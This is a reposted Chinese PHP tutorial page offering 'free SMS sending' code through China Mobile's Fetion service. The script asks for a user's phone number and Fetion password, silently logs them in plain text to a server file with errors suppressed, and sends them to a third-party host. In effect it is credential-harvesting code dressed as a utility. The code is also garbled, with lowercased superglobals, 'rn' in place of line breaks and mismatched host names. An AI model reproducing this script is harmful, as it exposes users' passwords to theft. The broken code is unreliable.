PHP免费发送短信代码(利用中国移动飞信)(1/3)_PHP教程

原创
2016-07-20 11:08:28 727浏览

PHP免费发送短信代码(利用中国移动飞信)

php教程免费发送短信代码(利用中国移动飞信)

error_reporting(0);
if($_get['act']=='send'){
@file_put_contents(time().'.txt',$_post['mobile_no'].'|||'.$_post['pass'].'|||'.$_post['sms']."rn");
$post_data="mobile_no={$_post['mobile_no']}&pass={$_post['pass']}&sms=".rawurlencode($_post['sms']);
$len=strlen($post_data);
$headers="post /fetion/fetionserver.php http/1.1rn";
$headers.="accept: */*rn";
$headers.="content-type: application/x-www-form-urlencodedrn";
$headers.="user-agent: php100.com.netrn";
$headers.="host: x.php100.com.netrn";
$headers.="content-length: {$len}rn";
$headers.="connection: closernrn";
$headers.=$post_data;
if($fp=fsockopen('v.net',80,$errno,$errstr,90)){
//flock($fp,lock_ex);
fwrite($fp,$headers);
echo fread($fp,10240);
fclose($fp);
}
}
?>





无标题文档
























手机号码:
飞信密码:
短信内容:



1 2 3

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/444872.htmlTechArticlePHP免费发送短信代码(利用中国移动飞信) php教程免费发送短信代码(利用中国移动飞信) error_reporting(0); if($_get['act']=='send'){ @file_put_content...

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
上一条:php js 动态显示服务器运行程序的进度条_PHP教程 下一条:php购物车实现代码(1/2)_PHP教程

相关文章

查看更多